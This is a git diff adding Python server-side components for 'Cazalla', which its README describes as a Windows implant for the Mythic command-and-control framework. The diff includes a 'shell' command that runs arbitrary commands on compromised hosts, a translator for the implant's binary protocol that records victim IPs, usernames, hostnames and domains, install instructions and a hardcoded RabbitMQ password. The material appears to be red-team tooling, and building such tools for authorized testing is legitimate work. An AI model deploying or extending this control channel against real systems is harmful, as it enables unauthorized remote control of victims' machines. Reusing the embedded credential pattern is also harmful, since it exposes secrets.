|
||||||
|
</g>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 16 KiB |
@@ -0,0 +1,37 @@
|
|||||||
|
from mythic_container.MythicCommandBase import *
|
||||||
|
import json
|
||||||
|
|
||||||
|
|
||||||
|
class ExitArguments(TaskArguments):
|
||||||
|
|
||||||
|
def __init__(self, command_line, **kwargs):
|
||||||
|
super().__init__(command_line, **kwargs)
|
||||||
|
self.args = []
|
||||||
|
|
||||||
|
async def parse_arguments(self):
|
||||||
|
if len(self.command_line) > 0:
|
||||||
|
raise Exception("Este comando no debe tener parametros")
|
||||||
|
|
||||||
|
|
||||||
|
class ExitCommand(CommandBase):
|
||||||
|
cmd = "exit"
|
||||||
|
needs_admin = False
|
||||||
|
help_cmd = "exit"
|
||||||
|
description = "Salir del Callback"
|
||||||
|
version = 1
|
||||||
|
supported_ui_features = ["callback_table:exit"]
|
||||||
|
author = "Kaseya OFSTeam"
|
||||||
|
argument_class = ExitArguments
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
builtin=True,
|
||||||
|
supported_os=[ SupportedOS.Windows ],
|
||||||
|
suggested_command=True
|
||||||
|
)
|
||||||
|
attackmapping = []
|
||||||
|
|
||||||
|
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||||
|
return task
|
||||||
|
|
||||||
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
|
return resp
|
||||||
@@ -0,0 +1,44 @@
|
|||||||
|
from mythic_container.MythicCommandBase import *
|
||||||
|
from mythic_container.MythicRPC import *
|
||||||
|
|
||||||
|
|
||||||
|
class ShellArguments(TaskArguments):
|
||||||
|
def __init__(self, command_line, **kwargs):
|
||||||
|
super().__init__(command_line, **kwargs)
|
||||||
|
self.args = [
|
||||||
|
CommandParameter(
|
||||||
|
name="command",
|
||||||
|
type=ParameterType.String,
|
||||||
|
description="Comando a ejecutar"
|
||||||
|
),
|
||||||
|
]
|
||||||
|
|
||||||
|
async def parse_arguments(self):
|
||||||
|
if len(self.command_line) == 0:
|
||||||
|
raise ValueError("Se debe indicar un comando")
|
||||||
|
self.add_arg("command", self.command_line)
|
||||||
|
|
||||||
|
async def parse_dictionary(self, dictionary_arguments):
|
||||||
|
self.load_args_from_dictionary(dictionary_arguments)
|
||||||
|
|
||||||
|
|
||||||
|
class ShellCommand(CommandBase):
|
||||||
|
cmd = "shell"
|
||||||
|
needs_admin = False
|
||||||
|
help_cmd = "shell {command}"
|
||||||
|
description = "Ejecuta comandos de shell en el sistema NOTA: ESTO ES CERO OPSEC"
|
||||||
|
version = 1
|
||||||
|
author = "Kaseya OFSTeam"
|
||||||
|
attackmapping = ["T1059"]
|
||||||
|
argument_class = ShellArguments
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
supported_os=[SupportedOS.MacOS, SupportedOS.Linux, SupportedOS.Windows]
|
||||||
|
)
|
||||||
|
|
||||||
|
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||||
|
task.display_params = task.args.get_arg("command")
|
||||||
|
return task
|
||||||
|
|
||||||
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
|
return resp
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
#from mywebhook.webhook import *
|
||||||
|
import mythic_container
|
||||||
|
import asyncio
|
||||||
|
import cazalla
|
||||||
|
#import websocket.mythic.c2_functions.websocket
|
||||||
|
from translator.translator import *
|
||||||
|
#from my_logger import logger
|
||||||
|
#from basic_command_augment import *
|
||||||
|
#from basic_eventer.my_eventing import *
|
||||||
|
|
||||||
|
mythic_container.mythic_service.start_and_run_forever()
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
{
|
||||||
|
"rabbitmq_host": "127.0.0.1",
|
||||||
|
"rabbitmq_password": "PqR9XJ957sfHqcxj6FsBMj4p",
|
||||||
|
"mythic_server_host": "127.0.0.1",
|
||||||
|
"debug_level": "debug"
|
||||||
|
}
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
aio-pika==9.0.4
|
||||||
|
dynaconf==3.1.11
|
||||||
|
ujson==5.7.0
|
||||||
|
aiohttp==3.8.3
|
||||||
|
psutil==5.9.4
|
||||||
|
grpcio
|
||||||
|
grpcio-tools
|
||||||
|
mythic-container
|
||||||
|
pyaml
|
||||||
@@ -0,0 +1,57 @@
|
|||||||
|
import json
|
||||||
|
|
||||||
|
|
||||||
|
commands = {
|
||||||
|
"get_tasking": {"hex_code": 0x00, "input_type": None},
|
||||||
|
"checkin": {"hex_code": 0xf1, "input_type": None},
|
||||||
|
"post_response": {"hex_code": 0x01, "input_type": None},
|
||||||
|
"shell": {"hex_code": 0x54, "input_type": "string"},
|
||||||
|
"exit": {"hex_code": 0x08, "input_type":None}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def responseTasking(tasks):
|
||||||
|
data = b""
|
||||||
|
dataTask = b""
|
||||||
|
|
||||||
|
dataHead = commands["get_tasking"]["hex_code"].to_bytes(1,"big") + len(tasks).to_bytes(4, "big")
|
||||||
|
|
||||||
|
for task in tasks:
|
||||||
|
command_to_run = task["command"]
|
||||||
|
|
||||||
|
if commands[command_to_run]["input_type"] == "string":
|
||||||
|
data = commands[command_to_run]["hex_code"].to_bytes(1, "big")
|
||||||
|
data += task["id"].encode()
|
||||||
|
|
||||||
|
if task["parameters"] != "":
|
||||||
|
parameters = json.loads(task["parameters"])
|
||||||
|
data += len(parameters).to_bytes(4,"big")
|
||||||
|
for param in parameters:
|
||||||
|
data += len(parameters[param]).to_bytes(4, "big")
|
||||||
|
data += parameters[param].encode()
|
||||||
|
else:
|
||||||
|
data += b"\x00\x00\x00\x00"
|
||||||
|
|
||||||
|
dataTask += len(data).to_bytes(4, "big") + data
|
||||||
|
|
||||||
|
elif commands[command_to_run]["input_type"] == "int":
|
||||||
|
print("Unsupported type (for now...)")
|
||||||
|
|
||||||
|
dataToSend = dataHead + dataTask
|
||||||
|
|
||||||
|
return dataToSend
|
||||||
|
|
||||||
|
|
||||||
|
def responseCheckin(uuid):
|
||||||
|
data = commands["checkin"]["hex_code"].to_bytes(1, "big") + uuid.encode() + b"\x01"
|
||||||
|
return data
|
||||||
|
|
||||||
|
def responsePosting(responses):
|
||||||
|
data = len(responses).to_bytes(4, "big")
|
||||||
|
for response in responses:
|
||||||
|
if response["status"] == "success":
|
||||||
|
data += b"\x01"
|
||||||
|
else:
|
||||||
|
data += b"\x00"
|
||||||
|
|
||||||
|
return data
|
||||||
@@ -0,0 +1,96 @@
|
|||||||
|
from translator.utils import *
|
||||||
|
import ipaddress
|
||||||
|
|
||||||
|
def checkIn(data):
|
||||||
|
|
||||||
|
# Retrieve UUID
|
||||||
|
uuid = data[:36]
|
||||||
|
data = data[36:]
|
||||||
|
|
||||||
|
# Retrieve IPs
|
||||||
|
numIPs = int.from_bytes(data[0:4])
|
||||||
|
data = data[4:]
|
||||||
|
i = 0
|
||||||
|
IPs = []
|
||||||
|
while i < numIPs:
|
||||||
|
ip = data[:4]
|
||||||
|
data = data[4:]
|
||||||
|
addr = str(ipaddress.ip_address(ip))
|
||||||
|
IPs.append(addr)
|
||||||
|
i += 1
|
||||||
|
|
||||||
|
# Retrieve OS
|
||||||
|
targetOS, data = getBytesWithSize(data)
|
||||||
|
|
||||||
|
# Retrive Architecture
|
||||||
|
archOS = data[0]
|
||||||
|
if archOS == 0x64:
|
||||||
|
archOS = "x64"
|
||||||
|
elif archOS == 0x86:
|
||||||
|
archOS = "x86"
|
||||||
|
else:
|
||||||
|
archOS = ""
|
||||||
|
data = data[1:]
|
||||||
|
|
||||||
|
# Retrieve HostName
|
||||||
|
hostname, data = getBytesWithSize(data)
|
||||||
|
|
||||||
|
# Retrieve Username
|
||||||
|
username, data = getBytesWithSize(data)
|
||||||
|
|
||||||
|
# Retrieve Domaine
|
||||||
|
domain, data = getBytesWithSize(data)
|
||||||
|
|
||||||
|
# Retrieve PID
|
||||||
|
pid = int.from_bytes(data[0:4])
|
||||||
|
data = data[4:]
|
||||||
|
|
||||||
|
# Retrieve Process Name
|
||||||
|
processName, data = getBytesWithSize(data)
|
||||||
|
|
||||||
|
#Retrieve External IP
|
||||||
|
externalIP, data = getBytesWithSize(data)
|
||||||
|
|
||||||
|
dataJson = {
|
||||||
|
"action": "checkin",
|
||||||
|
"ips": IPs,
|
||||||
|
"os": targetOS.decode('cp850'),
|
||||||
|
"user": username.decode('cp850'),
|
||||||
|
"host": hostname.decode('cp850'),
|
||||||
|
"domain": domain.decode('UTF-16LE'),
|
||||||
|
"process_name":processName.decode('cp850'),
|
||||||
|
"pid": pid,
|
||||||
|
"uuid": uuid.decode('cp850'),
|
||||||
|
"architecture": archOS ,
|
||||||
|
"externalIP": externalIP.decode('cp850'),
|
||||||
|
}
|
||||||
|
|
||||||
|
return dataJson
|
||||||
|
|
||||||
|
|
||||||
|
def getTasking(data):
|
||||||
|
numTasks = int.from_bytes(data[0:4])
|
||||||
|
dataJson = { "action": "get_tasking", "tasking_size": numTasks }
|
||||||
|
return dataJson
|
||||||
|
|
||||||
|
|
||||||
|
def postResponse(data):
|
||||||
|
|
||||||
|
resTaks = []
|
||||||
|
|
||||||
|
uuidTask = data[:36]
|
||||||
|
data = data[36:]
|
||||||
|
output, data = getBytesWithSize(data)
|
||||||
|
jsonTask = {
|
||||||
|
"task_id": uuidTask.decode('cp850'),
|
||||||
|
"user_output":output.decode('cp850'),
|
||||||
|
}
|
||||||
|
|
||||||
|
jsonTask["completed"] = True
|
||||||
|
resTaks.append(jsonTask)
|
||||||
|
|
||||||
|
dataJson = {
|
||||||
|
"action": "post_response",
|
||||||
|
"responses": resTaks
|
||||||
|
}
|
||||||
|
return dataJson
|
||||||
@@ -0,0 +1,52 @@
|
|||||||
|
import json
|
||||||
|
import base64
|
||||||
|
import binascii
|
||||||
|
import os
|
||||||
|
|
||||||
|
from translator.utils import *
|
||||||
|
from translator.commands_from_c2 import *
|
||||||
|
from translator.commands_from_implant import *
|
||||||
|
|
||||||
|
from mythic_container.TranslationBase import *
|
||||||
|
|
||||||
|
class cazalla_translator(TranslationContainer):
|
||||||
|
name = "cazalla_translator"
|
||||||
|
description = "python translation service for the Kaseya C agent Cazalla"
|
||||||
|
author = "OFSTeam"
|
||||||
|
|
||||||
|
async def generate_keys(self, inputMsg: TrGenerateEncryptionKeysMessage) -> TrGenerateEncryptionKeysMessageResponse:
|
||||||
|
response = TrGenerateEncryptionKeysMessageResponse(Success=True)
|
||||||
|
response.DecryptionKey = b""
|
||||||
|
response.EncryptionKey = b""
|
||||||
|
return response
|
||||||
|
|
||||||
|
async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse:
|
||||||
|
response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True)
|
||||||
|
print("C2 --> IMPLANT :" + json.dumps(inputMsg.Message))
|
||||||
|
if inputMsg.Message["action"] == "checkin":
|
||||||
|
print("Response CHECKIN")
|
||||||
|
response.Message = responseCheckin(inputMsg.Message["id"])
|
||||||
|
elif inputMsg.Message["action"] == "get_tasking":
|
||||||
|
print("Response TASKING")
|
||||||
|
response.Message = responseTasking(inputMsg.Message["tasks"])
|
||||||
|
elif inputMsg.Message["action"] == "post_response":
|
||||||
|
print("Response POSTREP")
|
||||||
|
response.Message = responsePosting(inputMsg.Message["responses"])
|
||||||
|
return response
|
||||||
|
|
||||||
|
async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse:
|
||||||
|
response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True)
|
||||||
|
print("IMPLANT --> C2 : " + binascii.hexlify(inputMsg.Message).decode('cp850'))
|
||||||
|
#response.Message = json.loads(inputMsg.Message)
|
||||||
|
data = inputMsg.Message
|
||||||
|
if data[0] == commands["checkin"]["hex_code"]:
|
||||||
|
print("CHECK IN")
|
||||||
|
response.Message = checkIn(data[1:])
|
||||||
|
elif data[0] == commands["get_tasking"]["hex_code"]: #GET_TASKING
|
||||||
|
print("GET TASKING")
|
||||||
|
response.Message = getTasking(data[1:])
|
||||||
|
elif data[0] == commands["post_response"]["hex_code"]: #POSTREPONSE
|
||||||
|
print("POST RESPONSE")
|
||||||
|
response.Message = postResponse(data[1:])
|
||||||
|
|
||||||
|
return response
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
import base64
|
||||||
|
import os
|
||||||
|
|
||||||
|
def getBytesWithSize(data):
|
||||||
|
size = int.from_bytes(data[0:4])
|
||||||
|
data = data[4:]
|
||||||
|
return data[:size], data[size:]
|
||||||
@@ -0,0 +1,185 @@
|
|||||||
|
# Cazalla - Basic Mythic Implant in C
|
||||||
|
|
||||||
|
Cazalla is a basic Windows implant written in C, designed to interface with the Mythic C2 framework.
|
||||||
|
|
||||||
|
This project was developed based on the article [How to build your own Mythic agent in C](https://red-team-sncf.github.io/how-to-create-your-own-mythic-agent-in-c.html) and serves as an initial version of an implant with room for future improvements.
|
||||||
|
|
||||||
|
Cazalla is developed by the OFSTeam at Kaseya. Currently, it only supports the `exit` and `shell` commands, but additional functionality is planned for future updates.
|
||||||
|
|
||||||
|
## Install Cazalla
|
||||||
|
|
||||||
|
Once Mythic is installed and running, use the following command to install Cazalla:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
./mythic-cli install github <repository-url>
|
||||||
|
```
|
||||||
|
|
||||||
|
## Detection
|
||||||
|
|
||||||
|
A YARA rule can be provided for detection purposes.
|
||||||
|
|
||||||
|
## Communication Protocol
|
||||||
|
|
||||||
|
### HEADER - Implant to C2
|
||||||
|
|
||||||
|
| Key | Key Len (bytes) | Type |
|
||||||
|
|---------|-------------------|------------|
|
||||||
|
| UUID | 36 | Str (char*)|
|
||||||
|
| Action | 1 | UInt32 |
|
||||||
|
|
||||||
|
### HEADER - C2 to Implant
|
||||||
|
|
||||||
|
| Key | Key Len (bytes) | Type |
|
||||||
|
|---------|-------------------|------------|
|
||||||
|
| Action | 1 | Int32 |
|
||||||
|
|
||||||
|
UUID | BODY
|
||||||
|
|
||||||
|
#### Checkin - Implant to C2
|
||||||
|
|
||||||
|
Expected:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"action": "checkin",
|
||||||
|
"uuid": "a21bab2e-462e-49ab-9800-fbedaf53ad15",
|
||||||
|
"ip": "127.0.0.1",
|
||||||
|
"os": "win",
|
||||||
|
"arch": "x64",
|
||||||
|
"hostname": "PC",
|
||||||
|
"user": "bob",
|
||||||
|
"domain": "domain.com",
|
||||||
|
"pid": 123,
|
||||||
|
"processname": "malware.exe"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
| Key | Key Len (bytes) | Type |
|
||||||
|
|---------------|-------------------|-------------|
|
||||||
|
| UUID | 36 | Str (char*) |
|
||||||
|
| Size IP | 4 | Uint32 |
|
||||||
|
| IP | Size IP | Str (char*) |
|
||||||
|
| Size OS | 4 | Uint32 |
|
||||||
|
| OS | Size OS | Str (char*) |
|
||||||
|
| Architecture | 1 | Int |
|
||||||
|
| Size Hostname | 4 | Uint32 |
|
||||||
|
| HostName | Size Hostname | Str (char*) |
|
||||||
|
| Size Username | 4 | Uint32 |
|
||||||
|
| Username | Size Username | Str (char*) |
|
||||||
|
| Size Domain | 4 | Uint32 |
|
||||||
|
| Domain | Size Domain | Str (char*) |
|
||||||
|
| PID | 4 | Uint32 |
|
||||||
|
| Size Process | 4 | Uint32 |
|
||||||
|
| Process Name | Size Process Name | Str (char*) |
|
||||||
|
| Size ExternIP | 4 | Uint32 |
|
||||||
|
| Extern IP | Size Extern IP | Str (char*) |
|
||||||
|
|
||||||
|
### Checkin - C2 to Implant
|
||||||
|
|
||||||
|
| Key | Key Len (bytes) | Type |
|
||||||
|
|----------|-------------------|-------------|
|
||||||
|
| New UUID | 36 | Str (char*) |
|
||||||
|
| Status | 1 | Byte |
|
||||||
|
|
||||||
|
### GetTasking - Implant to C2
|
||||||
|
|
||||||
|
Expected:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"action": "get_tasking",
|
||||||
|
"tasking_size": 1
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
| Key | Key Len (bytes) | Type |
|
||||||
|
|---------------|-------------------|-------------|
|
||||||
|
| Number tasks | 4 | Uint32 |
|
||||||
|
|
||||||
|
### GetTasking - C2 to Implant
|
||||||
|
|
||||||
|
Expected:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"action": "get_tasking",
|
||||||
|
"tasks": [
|
||||||
|
{
|
||||||
|
"command": "command name",
|
||||||
|
"parameters": "command param string",
|
||||||
|
"timestamp": 1578706611.324671,
|
||||||
|
"id": "task uuid"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
| Key | Key Len (bytes) | Type |
|
||||||
|
|---------------|-------------------|-------------|
|
||||||
|
| NumberOfTasks | 4 | Uint32 |
|
||||||
|
| Size Of Task1 | 4 | Uint32 |
|
||||||
|
| Task1 CMD | 1 | Int |
|
||||||
|
| Task1 UUID | 36 | Str (char*) |
|
||||||
|
| Task1 LenPara1| 4 | Uint32 |
|
||||||
|
| Task1 Param1 | LenParam1 Task1 | Str(char*) |
|
||||||
|
|
||||||
|
### Post Response Header - Implant to C2
|
||||||
|
|
||||||
|
| Key | Key Len (bytes) | Type |
|
||||||
|
|---------------|-------------------|-------------|
|
||||||
|
| Number Resp | 4 | Uint32 |
|
||||||
|
|
||||||
|
### Post Response Header - C2 to Implant
|
||||||
|
|
||||||
|
| Key | Key Len (bytes) | Type |
|
||||||
|
|---------------|-------------------|-------------|
|
||||||
|
| Number Resp | 4 | Uint32 |
|
||||||
|
|
||||||
|
### Post Response Classic Output Return - Implant to C2
|
||||||
|
|
||||||
|
Expected:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"action": "post_response",
|
||||||
|
"responses": [
|
||||||
|
{
|
||||||
|
"task_id": "uuid of task",
|
||||||
|
... response message
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
| Key | Key Len (bytes) | Type |
|
||||||
|
|---------------|-------------------|-------------|
|
||||||
|
| UUID Resp 1 | 36 | Str (char*) |
|
||||||
|
| Size Output R1| 4 | Uint32 |
|
||||||
|
| Output R1 | Size Output | Bytes |
|
||||||
|
| Status R1 | 1 | Int |
|
||||||
|
|
||||||
|
### Post Response Classic Output Return - C2 to Implant
|
||||||
|
|
||||||
|
Expected:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"action": "post_response",
|
||||||
|
"responses": [
|
||||||
|
{
|
||||||
|
"task_id": UUID,
|
||||||
|
"status": "success" or "error",
|
||||||
|
"error": "error message if it exists"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
| Key | Key Len (bytes) | Type |
|
||||||
|
|---------------|-------------------|-------------|
|
||||||
|
| Status Resp1 | 1 | Int |
|
||||||
|
|
||||||
|
## Future Development
|
||||||
|
|
||||||
|
This is an initial version of Cazalla with limited functionality. Currently, it only supports the `exit` and `shell` commands. Future updates will introduce additional commands and improvements to enhance its capabilities.
|
||||||
|
|
||||||
@@ -0,0 +1,266 @@
|
|||||||
|
<?xml version="1.0" standalone="no"?>
|
||||||
|
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20010904//EN"
|
||||||
|
"http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
|
||||||
|
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="800.000000pt" height="800.000000pt" viewBox="0 0 800.000000 800.000000"
|
||||||
|
preserveAspectRatio="xMidYMid meet">
|
||||||
|
|
||||||
|
<g transform="translate(0.000000,800.000000) scale(0.100000,-0.100000)"
|
||||||
|
fill="#000000" stroke="none">
|
||||||
|
<path d="M3713 6533 c26 -2 67 -2 90 0 23 2 2 3 -48 3 -49 0 -68 -1 -42 -3z"/>
|
||||||
|
<path d="M3735 6294 c-66 -7 -129 -12 -140 -13 -40 -2 2 -19 75 -29 41 -6 86
|
||||||
|
-13 100 -16 63 -15 296 -28 402 -22 115 6 117 5 121 -17 l4 -22 2 23 c1 15 7
|
||||||
|
22 21 22 11 0 20 4 20 9 0 13 84 19 92 7 4 -6 8 -26 8 -43 0 -26 4 -33 20 -33
|
||||||
|
17 0 20 7 20 50 0 43 3 50 20 50 37 0 20 19 -22 24 -106 14 -627 21 -743 10z"/>
|
||||||
|
<path d="M3921 6166 c2 -2 33 -6 67 -10 44 -5 62 -4 57 3 -3 6 -34 11 -67 11
|
||||||
|
-34 0 -59 -2 -57 -4z"/>
|
||||||
|
<path d="M4540 6120 c20 -13 33 -13 25 0 -3 6 -14 10 -23 10 -15 0 -15 -2 -2
|
||||||
|
-10z"/>
|
||||||
|
<path d="M4421 6102 c-17 -14 -22 -25 -17 -40 4 -12 2 -30 -4 -42 -8 -16 -7
|
||||||
|
-28 6 -55 16 -33 15 -38 -4 -83 -14 -33 -20 -69 -20 -122 0 -77 8 -100 37
|
||||||
|
-100 14 0 14 2 1 10 -24 16 14 13 55 -4 36 -15 47 -35 19 -32 -9 0 -20 -9 -24
|
||||||
|
-21 -8 -19 -3 -23 42 -38 28 -9 58 -13 67 -10 14 6 13 8 -4 15 -11 5 -33 9
|
||||||
|
-50 10 l-30 2 28 10 c28 10 28 11 10 31 -18 20 -18 20 8 14 26 -7 26 -6 27 56
|
||||||
|
1 43 -1 56 -7 41 -5 -11 -21 -28 -36 -38 -26 -17 -26 -17 -15 4 7 14 10 54 6
|
||||||
|
113 -3 51 -5 99 -6 107 0 8 4 51 9 95 5 44 8 81 6 83 -2 2 -21 6 -42 8 -27 3
|
||||||
|
-45 -1 -62 -14z m6 -69 c-3 -10 -5 -2 -5 17 0 19 2 27 5 18 2 -10 2 -26 0 -35z
|
||||||
|
m83 -67 c0 -3 -4 -8 -10 -11 -5 -3 -10 -1 -10 4 0 6 5 11 10 11 6 0 10 -2 10
|
||||||
|
-4z m-89 -93 c-12 -20 -14 -14 -5 12 4 9 9 14 11 11 3 -2 0 -13 -6 -23z"/>
|
||||||
|
<path d="M3480 5681 c0 -10 25 -21 48 -21 12 1 10 5 -8 15 -29 17 -40 18 -40
|
||||||
|
6z"/>
|
||||||
|
<path d="M4420 5601 c0 -5 7 -12 16 -15 14 -5 15 -4 4 9 -14 17 -20 19 -20 6z"/>
|
||||||
|
<path d="M3790 5370 c0 -5 5 -10 10 -10 6 0 10 5 10 10 0 6 -4 10 -10 10 -5 0
|
||||||
|
-10 -4 -10 -10z"/>
|
||||||
|
<path d="M4178 5373 c7 -3 16 -2 19 1 4 3 -2 6 -13 5 -11 0 -14 -3 -6 -6z"/>
|
||||||
|
<path d="M3220 3005 l0 -1685 145 0 c138 0 145 1 145 20 0 19 -7 20 -130 20
|
||||||
|
l-130 0 0 1645 0 1645 755 0 755 0 0 -1645 0 -1644 -132 -3 c-117 -3 -133 -5
|
||||||
|
-136 -21 -3 -16 9 -17 147 -17 l151 0 0 1685 0 1685 -785 0 -785 0 0 -1685z"/>
|
||||||
|
<path d="M3965 4219 c-38 -11 -94 -60 -88 -76 7 -21 -5 -15 -18 8 -8 15 -8 19
|
||||||
|
0 15 6 -4 11 -4 11 1 -1 11 -26 43 -33 43 -9 0 4 -63 14 -74 12 -13 11 -66 0
|
||||||
|
-66 -6 0 -13 5 -16 10 -3 6 -10 10 -15 10 -11 0 4 -53 24 -82 9 -12 16 -32 16
|
||||||
|
-45 0 -22 15 -39 23 -26 2 5 2 2 1 -5 -2 -7 5 -21 15 -31 11 -11 31 -41 47
|
||||||
|
-67 34 -61 54 -85 65 -78 5 3 27 42 50 87 46 92 56 107 71 104 6 -1 11 8 13
|
||||||
|
20 1 13 9 31 19 41 19 21 37 77 28 86 -3 3 -14 -1 -24 -11 -17 -15 -18 -14
|
||||||
|
-18 18 0 19 7 43 15 53 8 11 15 29 15 40 0 18 -3 17 -30 -9 -16 -16 -30 -25
|
||||||
|
-30 -19 0 14 -62 52 -95 57 -16 3 -44 1 -60 -4z m180 -79 c-10 -11 -20 -18
|
||||||
|
-23 -15 -3 3 3 14 13 25 10 11 20 18 23 15 3 -3 -3 -14 -13 -25z"/>
|
||||||
|
<path d="M3933 3678 c-47 -23 -68 -120 -38 -178 29 -57 81 -65 126 -21 26 26
|
||||||
|
29 36 29 91 0 55 -3 65 -29 91 -31 31 -52 35 -88 17z m58 -15 c9 -10 14 -42
|
||||||
|
14 -93 0 -78 -12 -110 -41 -110 -21 0 -34 43 -34 110 0 96 26 136 61 93z"/>
|
||||||
|
<path d="M4123 3678 c-59 -28 -71 -160 -19 -205 15 -13 38 -23 50 -23 35 0 74
|
||||||
|
37 86 81 14 51 -2 111 -37 138 -28 23 -47 25 -80 9z m58 -15 c9 -10 14 -42 14
|
||||||
|
-93 0 -78 -12 -110 -41 -110 -21 0 -34 43 -34 110 0 96 26 136 61 93z"/>
|
||||||
|
<path d="M3795 3671 c-24 -5 -26 -8 -12 -13 14 -6 17 -21 17 -98 0 -53 -4 -90
|
||||||
|
-10 -90 -5 0 -10 -3 -10 -7 0 -5 20 -8 45 -8 28 0 41 4 35 10 -6 5 -10 55 -10
|
||||||
|
112 0 110 2 107 -55 94z"/>
|
||||||
|
<path d="M3493 3463 c48 -2 125 -2 170 0 45 1 6 3 -88 3 -93 0 -130 -2 -82 -3z"/>
|
||||||
|
<path d="M4353 3463 c48 -2 125 -2 170 0 45 1 6 3 -88 3 -93 0 -130 -2 -82 -3z"/>
|
||||||
|
<path d="M3765 3413 c-32 -8 -64 -44 -76 -84 -13 -43 0 -96 31 -124 25 -22 91
|
||||||
|
-31 121 -15 17 10 24 10 27 1 2 -6 17 -11 34 -11 26 0 29 2 18 15 -11 13 -9
|
||||||
|
28 11 85 13 39 26 70 30 70 3 0 10 -15 16 -34 10 -33 10 -35 -16 -39 l-26 -4
|
||||||
|
28 -2 c21 -1 31 -9 42 -33 9 -23 10 -37 3 -45 -8 -10 11 -13 91 -13 154 0 201
|
||||||
|
28 201 122 0 35 -6 54 -24 75 -23 26 -30 28 -112 32 -82 3 -87 2 -71 -14 23
|
||||||
|
-22 25 -176 2 -195 -16 -13 -19 -8 -71 133 -19 52 -33 77 -43 75 -8 -2 -32
|
||||||
|
-49 -54 -105 -39 -100 -63 -134 -50 -73 3 19 1 30 -6 30 -6 0 -11 -8 -11 -18
|
||||||
|
0 -24 -31 -52 -57 -52 -31 0 -55 35 -61 88 -5 57 17 117 46 124 29 8 66 -14
|
||||||
|
70 -40 5 -34 20 -26 19 11 -1 25 -5 32 -21 34 -12 1 -32 4 -46 6 -14 3 -34 3
|
||||||
|
-45 0z m461 -27 c16 -12 19 -27 19 -86 0 -64 -3 -74 -24 -91 -47 -38 -56 -24
|
||||||
|
-59 89 -3 101 -3 102 21 102 13 0 32 -6 43 -14z"/>
|
||||||
|
<path d="M4385 3411 c-61 -27 -89 -109 -57 -171 44 -89 174 -76 203 20 15 51
|
||||||
|
-1 113 -35 135 -30 20 -85 27 -111 16z m74 -27 c16 -21 21 -41 21 -88 0 -75
|
||||||
|
-19 -109 -58 -104 -35 4 -52 39 -52 106 0 99 45 142 89 86z"/>
|
||||||
|
<path d="M4595 3411 c-61 -26 -56 -70 15 -130 53 -45 60 -61 34 -81 -25 -21
|
||||||
|
-65 -1 -80 40 l-12 35 -1 -45 -1 -45 51 -3 c56 -3 93 14 104 47 9 29 -9 56
|
||||||
|
-60 91 -48 33 -58 62 -27 79 24 13 62 -12 62 -40 0 -10 4 -19 8 -19 5 0 8 15
|
||||||
|
8 34 -1 23 -6 34 -16 35 -8 0 -26 2 -40 5 -14 3 -34 2 -45 -3z"/>
|
||||||
|
<path d="M3318 3403 c17 -6 17 -194 0 -211 -9 -9 1 -12 47 -12 57 0 58 1 37
|
||||||
|
16 -14 9 -22 26 -22 44 0 25 4 29 40 35 42 7 80 43 80 76 0 9 -12 27 -26 38
|
||||||
|
-22 17 -40 21 -98 20 -39 0 -65 -3 -58 -6z m120 -55 c3 -39 0 -49 -18 -58 -30
|
||||||
|
-16 -40 -4 -40 49 0 54 5 63 35 59 16 -2 21 -12 23 -50z"/>
|
||||||
|
<path d="M3508 3403 c17 -6 17 -194 0 -211 -9 -9 7 -12 75 -12 l87 0 0 43 -1
|
||||||
|
42 -13 -31 c-14 -31 -55 -52 -76 -39 -6 4 -10 26 -10 51 0 50 17 59 43 22 15
|
||||||
|
-22 16 -21 15 25 0 26 -4 47 -9 47 -5 0 -9 -6 -9 -14 0 -12 -20 -26 -36 -26
|
||||||
|
-2 0 -4 23 -4 51 l0 50 32 -3 c22 -2 36 -10 44 -26 18 -37 24 -37 22 2 l-1 36
|
||||||
|
-86 -1 c-47 0 -80 -3 -73 -6z"/>
|
||||||
|
<path d="M3683 3133 c170 -2 444 -2 610 0 166 1 28 2 -308 2 -335 0 -471 -1
|
||||||
|
-302 -2z"/>
|
||||||
|
<path d="M3806 3101 c-4 -5 -2 -12 3 -15 5 -4 12 -2 15 3 4 5 2 12 -3 15 -5 4
|
||||||
|
-12 2 -15 -3z"/>
|
||||||
|
<path d="M3496 3042 c-3 -5 1 -9 9 -9 8 0 12 4 9 9 -3 4 -7 8 -9 8 -2 0 -6 -4
|
||||||
|
